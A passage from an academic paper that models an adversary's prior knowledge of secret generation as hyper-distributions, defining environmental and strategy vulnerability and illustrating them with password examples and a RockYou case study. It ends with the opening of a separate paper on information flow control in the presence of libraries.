tinue to represent the prior in the traditional man-
ner, as a distribution on secrets π. We call this prior
the concise knowledge of the environment, and it is
defined as the expectation of all strategies of En,
i.e., π = E En. When this equation holds, we also
say that π is consistent with En; when needed we
may denote by πEn the prior consistent with envi-
ronment En. For instance, consistent, concise knowl-
edge of users’ passwords in Example 1 would be the expectation of how a ran-
domly picked user would generate their password: each user may potentially
adopt a unique strategy for generating their password, and the prior captures
the expected behavior of the population of users.

Alternatively, we can represent the prior as a hyper M, representing the adver-
sary’s unabridged knowledge of the environment En. For now, we will assume an
adversary knows the environment En precisely, i.e., M = En, just as, in tradi-
tional QIF, it is often assumed that the adversary precisely knows the defender’s
single secret-generating strategy. Later, in Sect. 5, we will introduce the notion
of a abstraction M, which is model consistent with an environment En, but that
does not match it exactly; this allows us to model partial adversary knowledge.

Given this new notion of prior (i.e., unabridged knowledge), we must define
a corresponding notion of the vulnerability of a secret. We call this notion envi-
ronmental vulnerability.
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Definition 1 (Environmental vulnerability). Given a vulnerability mea-
sure VX :DX→R, the environmental vulnerability of the secret is a function
V

en
X :D2X→R of the environment En defined as

V
en
X (En) def= E

En
VX .

It is easy to show that if the environment En is a point-hyper [π], environmen-
tal vulnerability V

en
X (En) collapses into traditional prior vulnerability VX(π).

Proposition 1. For all environments En, if En = [π] then V
en
X (En) = VX(π).

The converse of Proposition 1, however, is not true, i.e., Ven
X (En) = VX(π)

does not imply En = [π]. We can also show that, in expectation, an adversary
with unabridged knowledge En can never be worse-off than an adversary with
concise knowledge πEn.

Proposition 2. For any vulnerability VX , Ven
X (En) ≥ VX(πEn) for all environ-

ments En.

Proposition 2 shows that the modeling of adversarial knowledge as only a
distribution on secrets overlooks how the adversary can exploit knowledge of the
environment. Indeed, as the next example shows, secrets distributed according
to a same prior may present drastically different environmental vulnerability.

Example 2. Consider the password system of Example 1. Both environments
yield the same prior distribution π = E En1 = E En2 = [1/2, 1/2], so an adversary
with only concise knowledge would obtain the same traditional prior vulnerabil-
ity in both environments. E.g., for Bayes vulnerability, defined as

V
(Bayes)
X (π) def= max

x∈X
π(x), (2)

the adversary would obtain a traditional prior vulnerability of V(Bayes)
X (π) = 1/2.

However, an adversary with unabridged knowledge would obtain different
values for the vulnerability of the secret in each environment. In En1 environ-
mental vulnerability is V

en(Bayes)
X (En1) = 1/2·V(Bayes)

X (π1) + 1/2·V(Bayes)
X (π2) =

1/2·1+1/2·1 = 1, whereas in En2 environmental vulnerability is Ven(Bayes)
X (En2) =

1·V(Bayes)
X (π3) = 1·1/2 = 1/2 (recall that higher is worse for the defender).
Note that in En2, the value for environmental vulnerability and traditional

prior vulnerability is the same (Ven(Bayes)
X (En2) = V

(Bayes)
X (π) = 1/2), so an

adversary who learns the strategy being used is not expected to be more suc-
cessful than an adversary who only knows the prior. ��

4 Security by Aggregation and Security by Strategy

In this section we discuss further the advantage of using a hyper as the prior,
showing how it can distinguish two types of security guarantees that are conflated
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when the prior is merely a distribution: security “by aggregation” and security
“by strategy”. We also show that the traditional definition of prior vulnerability
decomposes neatly into environmental vulnerability and “strategy vulnerabil-
ity”, which measures the information the adversary has about the strategy used
to generate secrets.

4.1 Dissecting the Security Guarantees of Traditional Prior
Vulnerability

The final example in the last section provides some insights about the security
guarantees implied by traditional prior vulnerability. First, security by aggrega-
tion occurs when environmental vulnerability (largely) exceeds traditional prior
vulnerability: Ven

X (En) 
 VX(πEn). In this case the secret is protected by the
adversary’s lack of knowledge of the strategy being used, and, if the adversary
learns the strategy, the vulnerability of the secret can (significantly) increase.
An example of security by aggregation is a scenario in which all users pick pass-
words with deterministic strategies, but the adversary does not know which user
is generating the password. If there is a large number of users, and if their strate-
gies are varied enough, the passwords may be considered “secure” only as long
as the adversary cannot use knowledge about the environment to identify the
strategy being used.

On the other hand, security by strategy occurs when environmental and prior
vulnerabilities have similar values: Ven

X (En) ≈ VX(πEn). In this case the secret
is protected by the unpredictability (or uncertainty) within the strategies that
generate the secret, so even if the strategy becomes known, the vulnerability of
the secret will not increase significantly. An example of security by strategy is a
bank system in which user PINs are chosen uniformly. Even if the algorithm is
known to the adversary, the vulnerability of the secret is not increased.

In Sect. 4.3 we define measures of the two types of security discussed above,
but for that we need first to formalize the concept of strategy vulnerability.

4.2 Strategy Vulnerability

We now turn our attention to how the knowledge of an environment reflects on
the adversary’s knowledge about the strategy being used to generate secrets. For
that we will define a measure V

st
S :DS→R of strategy vulnerability.

Our measure should cover two key points. First, it should reflect how certain
an adversary is about which strategy is being used to generate secrets, indepen-
dently of whether the strategy itself is deterministic or random. In particular,
it must distinguish between environments in which the adversary knows exactly
the strategy being used, but that strategy happens to employ randomization (in
which case strategy vulnerability should be high) from environments in which
the adversary does not know what strategy is being used, even if all possible
strategies are deterministic (in which case strategy vulnerability should be low).

Second, the measure should characterize environments that are “predictable”
from the point of view of the adversary. The key insight is that V

st
S (En)



Quantifying Vulnerability of Secret Generation Using Hyper-Distributions 35

should consider the “similarity” among strategies in the support of En. From
the point of view of the adversary, whose goal is to “guess the secret” (or,
more precisely, to exploit his knowledge about the secret according to some
information measure VX :DX→R of interest), two strategies should be con-
sidered “similar” if they yield “similar” vulnerabilities of the secret, as mea-
sured according to this VX . The following example motivates this reasoning.

Table 2. Example 3.

π1 π2 π3 π4

x1 1 0 1/2 9/10

x2 0 1 1/2 1/10

En1 1/2 1/2 0 0

En2 0 0 1 0

En3 1/2 0 0 1/2

Example 3. Consider an extension from Example 1,
adding a strategy π4 and environment En3, depicted
in Table 2. Intuitively, strategy vulnerability should
be high in En2 = [π3], since an adversary would
know exactly the strategy being used. But what
should be the strategy vulnerability in En1 and in
En3?

Suppose we simply considered the set SX
of strategies as our set of secrets, and defined
V

st
S as the Bayes vulnerability w.r.t. that set:

V
st
S

(∗)(En) def?= maxπ∈S En(π). As expected we would have V
st
S

(∗)(En2) = 1, but
since in each environment En1 and En3 there are two possible strategies, each
with probability 1/2, we would then have Vst

S
(∗)(En1) = 1/2, and V

st
S

(∗)(En3) = 1/2.
But this seems wrong: we are assigning the same measure of vulnerability to both
En1 and En3, but these two environments are very different. The possible strate-
gies in En1 never produce the same secret, whereas the strategies of En3 produce
secrets x1 and x2 with similar probabilities. V

st
S

(∗) ascribes En1 and En3 the
same measure even though the uncertainty about the strategy under knowledge
of En3 seems much lower than En1. For instance, if the adversary is interested
in guessing the secret correctly in one try, an adversary who knows En3 would
always guess the secret to be x1 and would be right most of the time, but an
adversary who knows En1 gains no advantage about which secret to guess. In
short, for this type of adversary we want V

st
S (En2) > V

st
S (En3) > V

st
S (En1), but

V
st
S

(∗) fails to satisfy this ordering. ��
These observations lead us to define the vulnerability of a strategy in terms

of the difference in accuracy, as measured by a choice of VX , of an adversary
acting according to its full knowledge of the environment En and an adversary
betting according to the expected behavior πEn = EEn of the environment.
The key intuition is that a strategy is, for practical purposes, known within an
environment when VX(πEn) ≈ V

en
X (En), or, equivalently, VX(EEn) ≈ EEnVX .

Definition 2 (Strategy vulnerability). Given a vulnerability VX , the strat-
egy vulnerability in environment En is defined as the ratio

V
st
S (En) def=

VX(πEn)
V

en
X (En)

.

By Proposition 2, Vst
S (En) ≤ 1, and it is maximum when VX(πEn) = V

en
X (En).

As for a lower bound, it can be shown that strategy vulnerability is minimum
when the adversary’s measure of interest is Bayes vulnerability.
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Proposition 3. Given any vulnerability VX , strategy vulnerability is bounded
by V

st
S (En) ≥ V

(Bayes)
X (πEn)/Ven(Bayes)

X (En) for all environments En.

The following example illustrates how Definition 2 covers the two key points.

Example 4. Consider the scenario from Example 3, but assume an adversary A
is only interested in the chances of correctly guessing the secret in one try, no
matter what the secret is, whereas an adversary B also wants to guess the secret
in one try, but considers secret x2 as 9.5 times more valuable than secret x1

(say, for instance, that secrets are passwords to bank accounts, and one of the
accounts has 9.5 times more money than the other).

Mathematically, adversary A’s measure of success is represented by the vul-
nerability V

(A)
X = V

(Bayes)
X defined in Eq. (2). As for adversary B, the vulner-

ability V
(B)
X can be defined as a g-vulnerability where the set W of guesses of

guesses is the same as the set X of secrets, and the gain function g is such that
g(xi, xj) equals 1 when i = j = 1, equals 9.5 when i = j = 2, and equals 0 when
i = j.

Table 3 shows the environmental, strategy, and traditional prior vulnerabili-
ties for each adversary in each environment. Note that the calculated values sub-
stantiate the intuitions we argued for in Example 3. For both adversaries strategy
vulnerability is maximum in environment En2 (Vst(A)

S (En2) = V
st(B)
S (En2) = 1),

and it is higher in environment En3 than in environment En1.
In particular for environment En3, the obtained value V

st(A)
S (En3) = 1 meets

our intuition that, for practical purposes, adversary A has little uncertainty
about the strategy being used: if all he cares about is to guess the secret in one
try, the differences between the possible strategies are too small to provoke any
change in A’s behavior. On the other hand, the obtained value V

st(B)
S (En3) =

38/39 ≈ 0.97 reflects our intuition that in the same environment adversary B has
more uncertainty about the strategy being used: the differences in each possible
strategy are significant enough to induce changes in B’s behavior. ��

Table 3. Environmental, strategy, and traditional prior vulnerabilities for Example 4.

En Prior πEn Adversary A Adversary B

V
(A)
X (πEn) V

en(A)
X (En) V

st(A)
S (En) V

(B)
X (πEn) V

en(B)
X (En) V

st(B)
S (En)

En1 [1/2, 1/2] 1/2 1 1/2 4 3/4 5 1/4 95/105

En2 [1/2, 1/2] 1/2 1/2 1 4 3/4 4 3/4 1

En3 [19/20, 1/20] 19/20 19/20 1 9 1/2 195/200 38/39

4.3 Measures of Security by Aggregation and by Strategy

In this section we provide measures of the two types of security—by aggre-
gation and by strategy—motivated in Sect. 4.1. The key idea is to observe that
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Definition 2 is consistent with the decomposition of traditional prior vulnerability
into the product of strategy vulnerability and environmental vulnerability, and
that these two factors are measures of security by aggregation and security by
strategy, respectively:

VX(π)
︸ ︷︷ ︸

perceived security

= V
st
S (En)

︸ ︷︷ ︸
security by aggregation

× V
en
X (En)

︸ ︷︷ ︸
security by strategy

. (3)

Equation (3) states that any fixed amount of traditional prior vulnerability
(i.e., perceived security) can be allocated among strategy and environmental vul-
nerability in different proportions, but in such a way that when one increases,
the other must decrease to compensate for it. Environmental vulnerability is
a meaningful measure of security by strategy because it quantifies the intrin-
sic uncertainty about how secrets are generated within each possible strategy.
Indeed, when strategies are random, this uncertainty cannot be avoided. On the
other hand, security by aggregation is a measure of the decrease in the adver-
sary’s effectiveness caused by his lack of knowledge of the environment.

Example 5. Environments En1 and En2 from Example 4 yield the same per-
ceived security for an adversary with concise knowledge; e.g., for adversary
A, V

(A)
X (πEn1) = V

(A)
X (En2) = 1/2. However, each environment allocates this

perceived security differently. W.r.t. adversary A, En1 has minimum secu-
rity by strategy (Ven(A)

X (En1) = 1), and maximum security by aggrega-
tion (Vst(A)

S (En1) = 1/2). Conversely, environment En2 has maximum secu-
rity by strategy (Ven(A)

X (En1) = 1/2), and minimum security by aggregation
(Vst(A)

S (En1) = 1). Note that this quantitative analysis precisely characterize
intuitions for the distinction among the two types of security motivated in
Example 2. ��

A note on the chain rule for information measures. Equation (3) is not a
trivial analogue of the chain-rule for information measures. For a start, most
information measures do not follow any traditional form of the chain rule.6

Even for Shannon entropy, which respects the chain rule, the decomposition
of entropies of random variables S, X corresponding to strategies and secrets,
respectively, would be H(X,S) = H(S) + H(X | S). But even if it is reasonable
to equate H(X | S) to “environmental entropy” of the secret given the strategy
is known, H(S) cannot be equated with “strategy entropy” if we want the sum
of both values to be equal to H(X), which is the “entropy of the secret”. In other
words, H(S) does not seem to be a reasonable measure of “strategy entropy”
(in fact, H(S) would be a function on the distribution on strategies only, so it

6 In particular, Bayes vulnerability does not: in general V (Bayes)(X, Y ) �=
V (Bayes)(X)·V (Bayes)(Y | X). As an example, consider the joint distribution p
on X = {x1, x2} and Y = {y1, y2} s.t. p(x1, y1) = 1/2, p(x2, y1) = 0, and
p(x1, y2) = p(x2, y2) = 1/4. Then V (Bayes)(X) = V (Bayes)(Y | X) = 3/4, but
V (Bayes)(X, Y ) = 1/2, and the chain rule is not respected.
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would fail to take into account the similarity among strategies). However, we
can derive that H(X) = I(X;S) + H(X | S), which would suggest that an
appropriate measure of “strategy entropy” is actually I(X;S). This is in line
with our definition of strategy vulnerability as the amount of information the
environment carries about the secret.

5 Models of Adversarial Partial Knowledge

Starting from Sect. 3.2 we assumed that prior knowledge represented as a hyper
exactly matches the environment En. However, in real-world settings the adver-
sary is likely only to know some features of the environment, but not its complete
structure. As such, in this section we develop the notion of a “model” that is
hyper on secrets representing an adversary’s partial knowledge of that environ-
ment. By employing “abstractions” of the environment as models, we are able
to generalize prior, environmental, and strategy vulnerability, and to provide a
stronger version of the “decomposition rule” for security of Eq. (3).

5.1 Models of Partial Knowledge as Abstractions
of the Environment

A model of adversarial knowledge is a hyper M:DSX , representing the adversary’s
knowledge about how secrets are generated. Each inner πj in M corresponds to
a strategy the adversary can interpret as possibly generating a secret, and the
corresponding outer probability M(πj) represents the probability the adversary
attributes to πj being used.

Models can be used to represent states of knowledge of varied precision. In
particular, the environment En itself is a model of an adversary with unabridged
knowledge, whereas the point hyper [πEn] is the model of an adversary with only
concise knowledge. Here we are interested also in models of intermediate levels of
adversarial knowledge lying in between these two extreme cases. In particular, as
we show in the next example, a model’s strategies may not directly match those
of the true environment, but rather abstract information in that environment in
a consistent manner.

Example 6. Consider the password system from Example 1, but assume now that
the environment En of execution consists in six possible strategies, as depicted in
Table 4a. The model of knowledge of an adversary who can always identify the
user logging into the system is the environment En itself. As for an adversary who
can never identify the user logging in, the model of knowledge is the expected
behavior of all users, represented by the point hyper [πEn] in Table 4c.

Consider now another adversary who cannot exactly identify the user logging
into the system, but can determine from what state in the country the user is
attempting to login (for instance, by observing the IP of the request). Assume
also that users π1, π2 come from state A, users π3, π4 come from state B, and
users π5, π6 come from state C. The model of knowledge for this adversary,
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Table 4. Environment and models of adversary’s knowledge for Example 6

π1 π2 π3 π4 π5 π6

x1 1 0 1/2 1/4 3/4 1/3

x2 0 1 1/2 3/4 1/4 2/3

En 1/10 1/10 2/10 3/10 2/10 1/10

(a) Environment En (i.e., model
for adversary with unabridged
knowledge).

πA πB πC

x1
1/2 7/20 11/18

x2
1/2 13/20 7/18

F 2/10 5/10 3/10

(b) Model F for adver-
sary who can identify
states of the federation.

πEn

x1
11/24

x2
13/24

[πEn] 1

(c) Model [πEn]
for adversary with
concise knowledge.

depicted as hyper F in Table 4b, consists in three strategies πA, πB and πC

representing the expected pattern of password generation in states A, B and
C, respectively. The difference in strategies πA, πB and πC can capture the
different frequency of passwords from state to state (caused, e.g., by regional
uses of slangs, names of cities, etc.). The probability assigned by the adversary
to each strategy corresponding to a state is given by the probability of any given
user coming from that state. For instance, the probability F(πA) of strategy
corresponding to state A is given by F(πA) = En(π1)+En(π2) = 1/10+1/10 = 2/10,
and strategy πA itself is obtained as the expectation of all strategies of users
coming from that state: πA = En(π1)/F(πA)·π1 + En(π2)/F(πA)·π2 = 1/10/2/10·[1, 0] +
1/10/2/10·[0, 1] = [1/2, 1/2]. ��

Model F of Example 6 can be conveniently represented using a matrix rep-
resentation of hypers as follows. First, note that any hyper H:DSX induces a
joint probability distribution pH:D(X × SX ) on secrets and strategies, defined as
pH(xi, πj) = H(πj)πj(xi). For a hyper H, we let Hjoint be the |X | × |SX | matrix
in which Hjoint(i, j) = pH(i, j). For instance, in Example 6 we have that

Enjoint =
[

1/10 0 1/10 3/40 3/20 1/30

0 1/10 1/10 9/40 1/20 2/30

]

, and Fjoint =
[

1/10 7/40 11/60

1/10 13/40 7/60

]

.

Conversely, using the usual concepts of marginalization and conditioning,
given any joint distribution pH we can recover the corresponding hyper H.
Because of that, we shall equate a hyper H with its corresponding joint dis-
tribution pH, and, equivalently, with its matrix representation Hjoint.

AState =

πAπBπC
︷ ︸︸ ︷⎡

⎢
⎢
⎢
⎢
⎢
⎢
⎣

1 0 0
1 0 0
0 1 0
0 1 0
0 0 1
0 0 1

⎤

⎥
⎥
⎥
⎥
⎥
⎥
⎦

⎫
⎪⎪⎪⎪⎪⎪⎬

⎪⎪⎪⎪⎪⎪⎭

π1

π2

π3

π4

π5

π6

Second, the adversary’s incapability of distin-
guishing users within a state can be modeled by the
matrix AState on the side, which maps each strat-
egy corresponding to a user in the environment to
a strategy corresponding to a state in the model.
It can be easily verified that the hyper F in its
joint form can be recovered as the product of the
environment En in its joint form with AState, i.e.,
Fjoint = Enjoint × AState.
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Although in Example 6 the adversary could only deterministically aggregate
strategies together, in general models can be the result of an adversary probabilis-
tically identifying a trait of the strategy used. Moreover, note that the adversary
does not need to know the exact strategy from each user first, to only then aggre-
gate them into the expected behavior of the state. He could, for instance, obtain
the average behavior from the state directly from a log of passwords in which
only the user’s state of origin is known.

Formally, let p(μ | π) be the probability of the adversary modeling the context
as strategy μ:SX when in reality it is strategy π:SX . A model M for environ-
ment En obtained using distribution p(μ | π) assigns to each strategy μ outer
probability

M(μ) =
∑

π

p(μ | π) · En(π), where μ =
∑

π

p(μ | π) · π. (4)

The formulas in Eq. (4) are equivalent to the following characterization of
the abstraction of a model into another in terms of “aggregation matrices”. An
aggregation matrix A is a |SX |× |SX | channel matrix in which each entry A(i, j)
is the probability p(π | μ) of the adversary mapping strategy π to strategy μ.

Definition 3. (Abstraction of a hyper). A hyper H′ is an abstraction
of another hyper H, denoted by H′ � H, iff H′ = H·A for some aggregation
matrix A.

Definition 3 says that an abstraction M can be obtained as the result of post-
processing the environment En with an aggregation matrix A that makes convex
combinations of actual strategies. The matrix A can be seen as the adversary’s
capability of correctly identifying the context of execution. In particular, when
A is the identity matrix I, the resulting abstraction is the environment itself:
En = En·I. When A is the non-interferent channel 0, the resulting abstraction is
the point-hyper [π] = En·0.7 In particular, because in Example 6 the adversary
can only group whole strategies together based on state, the aggregation matrix
AState is deterministic.

As a sanity check, the following result shows that the result of post-processing
a hyper with a channel matrix is itself a hyper with same expectation, which
implies that all abstractions are consistent with the prior distribution.

Proposition 4. If H is a hyper of type D
2X and A is a channel matrix from

X to any domain Y, then H·A is also a hyper of type D
2X . Moreover, if we call

H′ = H·A, then the priors from both hypers are the same: πH = πH′ .

5.2 Vulnerability of the Secret Given an Abstraction

We will now generalize the definition of environmental vulnerability of the secret
(in which the adversary is assumed to have unabridged knowledge), to scenarios
in which the adversary’s knowledge is an abstraction M of the environment En.
7 The non-interferent channel 0 is a column-matrix in which all rows are identical,

and for that reason it allows no flow of information from inputs to outputs.
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The key insight of this measure is that, whereas the adversary’s actions are
chosen depending on his modeling of the context as strategy μ from M, his
actual gain should be measured according to the real strategy π coming from
the environment En. We formalize this below, recalling that, from Theorem1 we
know that every continuous and convex vulnerability VX can be written as a
g-vulnerability Vg for some suitable g.

Definition 4. The vulnerability of the secret in an environment En when the
adversary’s model is abstraction M is given by

V
md
X (M,En) =

∑

π

En(π)
∑

μ

A(μ, π)
∑

x

π(x) g(wμ, x), (5)

where wμ = argmaxw

∑
x μ(x)g(w, x) is the adversary’s optimal guess if the

secret were actually distributed according to strategy μ.

Note that Eq. (5) is defined only when p(μ | π) = A(μ, π) is well defined, that
is, when there exists an aggregation matrix A making M � En.

The following result states that the vulnerability of the secret for an adver-
sary who reasons according to an abstraction (as per Eq. (5)) is the same as
environmental vulnerability in case this abstraction were the real environment.

Proposition 5. For any vulnerability VX , environment En and model M, if
M � En then V

md
X (M,En) = V

en
X (M).

Proposition 5 has a few interesting consequences. First, it implies that the
definition of Vmd

X (M,En) generalizes environmental and traditional prior vulner-
abilities: when the adversary’s model is M = En, we have that V

md
X (M,En) =

V
en
X (En), and his model is M = [πEn], we have that V

md
X ([π],En) = V

en
X ([π]) =

VX(π).
More importantly, though, Proposition 5 provides a precise information-

theoretic characterization of our definition of abstractions for an environment.
More precisely, it can be used to show that by using a more refined model an
adversary can never be worse off than by using a less refined model.

Proposition 6. If M′,M are abstractions for an environment En, then M′ � M
iff V

md
X (M′,En) ≤ V

md
X (M,En) for all vulnerabilities VX .

5.3 Strategy Vulnerability Given an Abstraction

Next, we will generalize strategy vulnerability to the scenario in which the adver-
sary reasons according to an abstraction M of the environment En.

Our definition is analogous to that of strategy vulnerability, and it is based
on the observation that a strategy is vulnerable given a model to the extent the
average behavior of the model can be used to infer the strategy being used. In
other words, the strategy is protected if knowledge about the model does not
give information about what strategy is being used.
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Definition 5. Given a vulnerability VX , the corresponding strategy vulnerabil-
ity given an abstraction M within an environment En is defined as

V
st
S (En,M) def=

V
md
X (M,En)
V

en
X (En)

=
V

en
X (M)

V
en
X (En)

,

where the second equality stems from Proposition 5.

The next result shows that a more refined abstraction never yields smaller strat-
egy vulnerability than a less refined abstraction for the same environment.

Proposition 7. Given two abstractions M and M′ of an environment En,
M′ � M iff V

st
S (M′,En) ≤ V

st
S (M,En) for all vulnerabilities VX .

Proposition 7 implies bounds on strategy vulnerability given an abstraction.

Proposition 8. Given any vulnerability VX , for any environment En and any
abstraction M � En, V

st
S (En) ≤ V

st
S (M,En) ≤ 1, with equality for the lower

bound occurring when M = [πEn], and equality for the upper bound occurring
when M = En.

Finally, we note that Definition 5 naturally extends the decomposition rule
of Eq. (3) and the definitions of different types of security as follows.

V
md
X (M,En)

︸ ︷︷ ︸
perceived security

given a model

= V
st
S (En,M)

︸ ︷︷ ︸
security by aggregation

given a model

× V
en
X (En)

︸ ︷︷ ︸
security by strategy

given a model

.

An interesting observation. The following observation means that the
increase in accuracy given by a more refined abstraction M over a less refined
abstraction M′ is the same for secrets and for strategies. If M′ � M � En then

V
st
S (En,M′)

V
st
S (En,M)

=
V

en
X (M′)

V
en
X (En)

× V
en
X (En)

V
en
X (M)

=
V

en
X (M′)

V
en
X (M)

. (6)

Making M = En in Eq. (6) we recover the definition of strategy vulnerability:
V

st
S (En) = VX(X)/Ven

X (En). Making M′ = [πEn] in Eq. (6) we obtain that the increase
in information about secrets and the increase in information about strategies
provided by a model is the same: V

st
S (En)/Vst

S (En,M) = VX(X)/Ven
X (M).

6 On the Expressiveness of Hypers

Hyper distributions play an essential role in this paper to generalize the modeling
of secret-generation process and the adversary’s prior knowledge about it. Hav-
ing gone from distributions over secrets to distributions over distributions over
secrets, one might wonder whether further levels of distribution (i.e., “higher-
order” hypers of type D

nX , for n > 2) might be necessary to fully account for
adversary knowledge. The simple answer is no.
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The core idea is that a hyper corresponds to a joint distribution in D(X ×Y)
for some set Y of labels for distributions on X . Likewise, an object of type
D

n+1X corresponds to a joint distribution in D(X ×Y1× · · ·×Yn), which is itself
equivalent to a joint distribution in D(X ×Y) where Y = Y1 ×· · · ×Yn. But note
that D(X × Y) is equivalent to a hyper of type D

2X . Hence, any “higher-order”
hyper is equivalent to some regular hyper of type D

2X and, moreover, both
objects preserve the same distribution on distributions on X . Since measures of
the vulnerability of the secret are functions of distributions on X , the user of
“higher-order” hypers is not necessary to measure vulnerability.

To make this idea precise, let πn range over objects of type D
nX . If the

adversary’s knowledge is represented by πn (for some n ≥ 2), it is natural to
define the vulnerability of the secret as the expectation of the vulnerabilities of
hypers of lower order. A vulnerability of order n is a function V

n:DnX→R s.t.
V

1(π1) = VX(π1), and V
n(πn) = EπnV

n−1 for n ≥ 2. In particular, V1(π1) =
VX(π1) is the traditional vulnerability on secrets, and V

2(π2) = Eπ2VX is envi-
ronmental vulnerability. The next result shows that an adversary who reasons
according to a model of type D

nX for some n ≥ 2 is only as well off as an
adversary with an appropriate model of type D

2X .

Proposition 9. For every πn:DnX , with n ≥ 2, V
n(πn) = V

2(π̂2), where
π̂2:D2X is the hyper resulting from marginalizing the joint of πn w.r.t. Y2 ×
Y3 × . . . × Yn−1.

7 Case Study

To illustrate the utility of our model, we synthesize an environment based on
the RockYou password dataset [22], which contains the un-hashed passwords
of around 32 million users of the RockYou gaming site. We construct several
abstractions for this environment, computing for each of them the corresponding
vulnerability of the secret and strategy vulnerability, and show how they relate.

To synthesize the environment, we begin by reducing the 32 million pass-
words to the around 350 thousand passwords that contain a string suggesting
the birth year of the password’s owner (the strings “1917” through “1995”). We
assume that each of these passwords was generated by a distinct user, and con-
struct a deterministic strategy for each of these users. The intention is that each
strategy represents the user’s exact preference at the time they selected their
password. The environment consists in these strategies distributed according to
their relative frequency in the database.

To construct abstractions for this environment, we attribute to each user
the birth year used in their password, as well as a randomly chosen gender.
The first abstraction, called Omniscient, is the environment itself, and it rep-
resents an adversary with unabridged knowledge. Although this level of knowl-
edge is beyond any realistic adversary, it will illustrate the limiting values of
vulnerability.
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To construct the Age abstraction, we partition users into blocks according
to their birth year. From each block we derive a distribution on passwords rep-
resenting the expected strategy for a person born in that year. This produces
one strategy for each birth year from 1917 through 1995, and the probability of
each strategy is determined by the relative frequency of each birth year.

The Gender abstraction aggregates users by gender, and contains one strat-
egy representing the expected behavior of males and of females. Since we assigned
genders to users uniformly at random, these two strategies each occur with equal
probability (0.5) and are mostly similar.

Finally, the Prior abstraction has only one strategy in its support that aggre-
gates all of the 350 thousand users, with each password’s probability being pro-
portional to its relative frequency. This environment is equivalent to the point
hyper [π] containing only the prior distribution on secrets.

Fig. 2. Example strategies and their probabilities
in several environments.

Several strategies in the last
three abstractions are visualized
in Fig. 2. The “all” line shows
the probability of various pass-
words being picked in the Prior
environment, sorted by their
rank (most probable first). The
two gender aggregate strategies
from the Gender environment
are labeled “male” and “female”
(note that “male”, “female” and
“all” largely coincide). Finally,
three example years from the Age environment are labeled “1930”, “1960”, and
“1990”. The Bayes vulnerability of each strategy is the probability of the rank 1
password and min-entropy is negation of the base 2 exponent of that probability.

The decomposition of prior Bayes vulnerability as per Definition 2 is sum-
marized in Table 5. Note that the vulnerability in the prior is around 2−11.892 =
2.632·10−4. An adversary who can learn the user’s gender could achieve vul-
nerability of 2−11.876 = 2.66084 · 10−4. The strategy vulnerability here shows
negligible advantage over the prior as we synthesized the gender uniformly. On
the other hand, an adversary reasoning according to the aggregation by age, the
vulnerability of the secret is 2−7.442 = 57.526 · 10−4, providing the equivalent of
4.450 bits of information over the prior when measured as min-entropy.

Table 5. Bayes vulnerability decomposition.

V
(Bayes)
X (π) = V

en(Bayes)
X (En) × V

st(Bayes)
S (En)

Omni 2−11.892 = 2−0 × 2−11.892

Age 2−11.892 = 2−7.442 × 2−4.450

Gender 2−11.892 = 2−11.876 × 2−0.0158

Prior 2−11.892 = 2−11.892 × 2−0
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These measurements let us reach several conclusions. First, the (environmen-
tal) vulnerability of the prior forms a baseline level of security in the authenti-
cation system for the users in this experiment. The measurements for age and
gender abstractions, on the other hand, gauge the effective security under the
pessimistic assumption that users’ age or gender (respectively) can be discovered
by an adversary. The complement (strategy vulnerability) of these measurements
give the relative importance of keeping these demographics secret. In this case,
gender is unimportant, while age encodes a significant amount of a password’s
entropy. A system designer should be wary of displaying age on user profiles.

8 Related Work

Our work is mainly motivated by the questions raised by the model of Mardziel
et al. [14] for dynamic secrets that evolve over time, and that may vary as the
system interacts with its environment. Their model also considers secrets that
are generated according to a strategy, and they give an example that an evolving
secret subject to repeated observations, in some cases, can be learned faster if
it is changed (and observed) more often. They suggest that this effect is related
to the lack of randomness within the strategy for generating secrets, but they
do not develop a formal measure of that randomness. In [23] the authors take a
step further and distinguish between adversary’s and defender’s goals, but they
still do not have results about the vulnerability of the strategy itself.

Hyper-distributions were introduced in [20] to model the adversary’s pos-
terior knowledge about the secret (i.e., after an observation of the system is
performed). The inners of the hyper are conditional distributions on secrets
given each possible observable produced by the system, and the outer is a dis-
tribution on the observables. Several other models for QIF have used hypers
in a similar way (e.g., [12,21,24]), but all of them still model prior knowledge
as a single distribution on secrets. Our work models prior knowledge itself as a
hyper-distribution, in which the inners are strategies for generating secrets, and
the outer is a distribution on strategies.

Several models investigate systems in which secrets are correlated in interac-
tive systems. Some approaches capture interactivity in systems by encoding it
as a single “batch job” execution. Desharnais et al. [25], for instance, model the
system as a channel matrix of conditional probabilities of whole output traces
given whole input traces. O’Neill et al. [26], based on Wittbold and Johnson [27],
improve on batch-job models by introducing strategies. The strategy functions
of O’Neill et al. are deterministic, whereas ours are probabilistic.

Clark and Hunt [28], following O’Neill et al., investigate a hierarchy of strate-
gies. Stream strategies, at the bottom of the hierarchy, are equivalent to having
agents provide all their inputs before system execution as a stream of values.
But probabilities are essential for information-theoretic quantification of infor-
mation flow. Clark and Hunt do not address quantification, instead focusing on
the more limited problem of noninterference.
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The work of Shokri et al. [29] strives to quantify the privacy of users of
location-based services using Markov models and various machine learning tech-
niques for constructing and applying them. Shokri et al.’s work employs two
phases, one for learning a model of how a principal’s location could change over
time, and one for de-anonymizing subsequently observed, but obfuscated, loca-
tion information using this model. Our work focuses on information theoretic
characterizations of security in such applications, and allows for the quantifica-
tion of how much information is learned about the strategies themselves.

9 Conclusion

In this paper we generalized the representation of the adversary’s prior knowledge
about the secret from a single probability distribution on secrets to an environ-
ment, which is a distribution on strategies for generating secrets. This general-
ization allowed us to derive relevant extensions of the traditional approaches to
QIF, including measures of environmental vulnerability, strategy vulnerability,
and to disentangle security by strategy and security by aggregation, two concepts
usually conflated in traditional approaches to QIF.

We are currently working on the extending the notion of strategies to model
secrets that evolve over time, and on the corresponding quantification of strategy
leakage when secrets are processed by a system.
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Abstract. There has been encouraging progress on information flow
control for programs in increasingly complex programming languages,
tracking the propagation of information from input sources to output
sinks. Yet, programs are typically deployed in an environment with rich
APIs and powerful libraries, posing challenges for information flow con-
trol when the code for these APIs and libraries is either unavailable or
written in a different language.

This paper presents a principled approach to tracking information flow
in the presence of libraries. With the goal to strike the balance between
security and precision, we present a framework that explores the mid-
dle ground between the “shallow”, signature-based modeling of libraries
and the “deep”, stateful approach, where library models need to be sup-
plied manually. We formalize our approach for a core language, extend
it with lists and higher-order functions, and establish soundness results
with respect to the security condition of noninterference.

1 Introduction

The prevalent way to extend a language with functionality, e.g., to interact with
its execution environment, is via libraries. As an example, consider a library that
provides a collection of functions to provide the language with network capabil-
ities. Since the language functionality in such cases is fundamentally extended,
